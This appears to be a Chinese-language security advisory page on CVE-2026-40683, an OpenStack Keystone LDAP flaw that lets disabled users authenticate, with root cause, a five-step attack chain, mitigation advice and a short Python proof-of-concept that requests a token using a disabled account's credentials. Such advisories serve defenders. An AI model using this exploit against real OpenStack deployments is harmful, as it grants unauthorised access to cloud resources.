IPBUF安全漏洞报告
English
CVE-2026-40683 CVSS 7.7 高危

CVE-2026-40683 OpenStack Keystone认证绕过漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-40683
漏洞类型
认证绕过
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenStack Keystone

相关标签

认证绕过OpenStackKeystone逻辑漏洞LDAP

漏洞概述

OpenStack Keystone在28.0.1之前的版本中存在严重的逻辑缺陷。在使用LDAP身份后端且默认配置下,系统未能将LDAP返回的用户启用状态属性正确转换为布尔值。由于Python将非空字符串视为真值,导致在LDAP中已标记为禁用的用户在Keystone中被视为启用状态。该漏洞允许未授权的用户绕过安全限制进行登录并执行操作。

技术细节

该漏洞的根源位于OpenStack Keystone的LDAP身份后端实现中,具体涉及`UserApi`类的`_ldap_res_to_model`方法。问题出在条件判断逻辑上:该方法仅在配置选项`user_enabled_invert`被显式设置为True时,才会执行将LDAP属性字符串转换为布尔值的操作。由于该配置项默认为False,代码直接使用了从LDAP查询返回的原始字符串值(例如"FALSE")。在Python编程语言中,任何非空字符串(包括"FALSE")在布尔上下文中都会被判定为真值。因此,尽管LDAP目录服务中明确标记该用户账户为禁用状态,Keystone却将其解析为启用状态。这一逻辑错误破坏了身份验证的完整性,使得攻击者可以利用被禁用账户的凭证成功绕过认证机制,获取有效的身份令牌并进而访问云平台资源。

攻击链分析

STEP 1
侦察
攻击者识别出目标使用OpenStack Keystone,且配置了LDAP身份后端,未设置user_enabled_invert=True。
STEP 2
获取凭证
攻击者获取一个在LDAP目录中已被标记为禁用的用户账户的用户名和密码。
STEP 3
发起认证请求
攻击者向Keystone服务端发送使用该禁用账户凭证的认证请求。
STEP 4
逻辑绕过
Keystone从LDAP读取"FALSE"字符串,未将其转换为布尔值False,反而将其判定为True,从而通过验证。
STEP 5
未授权访问
Keystone向攻击者颁发有效的身份令牌,攻击者利用该令牌访问云资源。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-40683 # This script demonstrates the authentication bypass using a disabled LDAP user. import requests # Target Keystone endpoint keystone_url = "http://target-openstack:5000/v3/auth/tokens" # Credentials of a user marked as "FALSE" (disabled) in LDAP username = "disabled_user" password = "user_password" domain_name = "Default" payload = { "auth": { "identity": { "methods": ["password"], "password": { "user": { "name": username, "password": password, "domain": { "name": domain_name } } } } } } try: # Send authentication request response = requests.post(keystone_url, json=payload) if response.status_code == 201: print("[+] Authentication Successful! Exploit confirmed.") print("[+] Token:", response.headers.get('X-Subject-Token')) else: print("[-] Authentication Failed or unexpected response.") print("[-] Status Code:", response.status_code) print("[-] Response:", response.text) except Exception as e: print(f"[-] Error: {e}")

影响范围

OpenStack Keystone < 28.0.1

防御指南

临时缓解措施
对于无法立即升级的环境,建议在Keystone配置文件中将`user_enabled_invert`选项设置为True,或者启用`user_enabled_emulation`功能,以确保正确处理用户状态。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表